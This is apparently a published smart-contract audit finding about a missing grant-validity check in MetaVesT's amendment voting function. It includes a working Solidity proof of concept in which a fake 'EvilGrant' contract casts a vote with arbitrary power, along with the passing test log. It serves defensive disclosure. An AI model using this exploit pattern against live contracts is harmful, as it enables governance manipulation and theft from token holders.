Assessment reports>Metavest>High findings>Anyone can vote on any majority amendment proposal with arbitrary voting power
Category: Business Logic

Anyone can vote on any majority amendment proposal with arbitrary voting power

High Severity
High Impact
High Likelihood

Description

A set is a collection of MetaVesTs, each representing a specific vesting allocation. Each MetaVesT's grantee within the same set can vote on updates to MetaVesTs in that set. Updates include changes to the purchase price, unlocking rate, and other changes to MetaVesT details.

However, the function voteOnMetavestAmendment lacks a check for _grant, allowing malicious accounts to vote on any proposal with arbitrary voting power.

function voteOnMetavestAmendment(address _grant, string memory _setName, bytes4 _msgSig, bool _inFavor) external {
    if(BaseAllocation(_grant).grantee() != msg.sender) revert MetaVesTController_OnlyGrantee();
    if (!functionToSetMajorityProposal[_msgSig][_setName].isPending) revert MetaVesTController_NoPendingAmendment(_msgSig, _grant);
    if (!_checkFunctionToTokenToAmendmentTime(_msgSig, _setName))
        revert MetaVesTController_ProposedAmendmentExpired();
    uint256 _callerPower =  BaseAllocation(_grant).getGoverningPower();
    // [...]
}

Impact

The following proof-of-concept script demonstrates a malicious user can vote on any proposal with arbitrary voting power:

contract EvilGrant {
    function grantee () public view returns (address) {
        return address(0x31337);
    }
    function getGoverningPower() public view returns (uint256) {
        return 99999999999999999999999999999;
    }
}

// [...]

function testAuditArbitraryVote() public {
    bytes4 msgSig = bytes4(keccak256("updateMetavestTransferability(address,bool)"));
    bytes memory callData = abi.encodeWithSelector(msgSig, address(mockAllocation), true);

    vm.prank(authority);
    controller.addMetaVestToSet("testSet", address(mockAllocation));

    vm.prank(authority);
    controller.proposeMajorityMetavestAmendment("testSet", msgSig, callData);

    address attacker = address(0x31337);
    address evil_grant = address(new EvilGrant());
    
    vm.prank(attacker);
    controller.voteOnMetavestAmendment(address(evil_grant), "testSet", msgSig, true);

    (uint256 totalVotingPower, uint256 currentVotingPower, , ,  ) = controller.functionToSetMajorityProposal(msgSig, "testSet");
    console.log("attacker voted, and current voting power is" , currentVotingPower);
}

The following text is the result of the proof-of-concept script:

[PASS] testAuditArbitraryVote() (gas: 322760)
Logs:
  attacker voted, and current voting power is 99999999999999999999999999999

Recommendations

Consider performing validity checks for the grant — for example, checks if the grant is in the specified set.

Remediation

This issue has been acknowledged by MetaLeX Labs, Inc, and a fix was implemented in commit 9ba40730.

Zellic © 2024Back to top ↑